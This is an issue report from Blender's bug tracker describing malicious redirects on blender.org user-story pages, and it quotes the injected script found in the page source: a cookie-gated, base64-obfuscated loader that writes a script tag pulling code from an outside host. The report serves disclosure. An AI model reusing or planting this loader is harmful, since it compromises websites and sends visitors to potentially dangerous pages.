Malicious redirect from User Stories on blender.org #74870

New Issue

swtch · 2020-03-18T07:11:01+01:00

swtch commented

2020-03-18 07:11:01 +01:00

Short description of error
It seems that some pages on blender.org are infected with a malicious script that redirects to random, potentially dangerous websites. I encountered this problem on user stories pages, e.g. https://www.blender.org/user-stories/title-design-from-wonder-woman-to-xxx/.

I've inspected the page source and it appears that this is the malicious code:

Exact steps for others to reproduce the error

If you click on any user story on https://www.blender.org/about/user-stories/, after a seemingly random delay you will be redirected to another page not hosted on blender.org.

**Short description of error** It seems that some pages on blender.org are infected with a malicious script that redirects to random, potentially dangerous websites. I encountered this problem on user stories pages, e.g. https://www.blender.org/user-stories/title-design-from-wonder-woman-to-xxx/. I've inspected the page source and it appears that this is the malicious code: ```<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\- [x]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U- [x]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script> ``` **Exact steps for others to reproduce the error** * If you click on any user story on https://www.blender.org/about/user-stories/, after a seemingly random delay you will be redirected to another page not hosted on blender.org.

swtch commented

2020-03-18 07:11:01 +01:00

Added subscriber: @swtch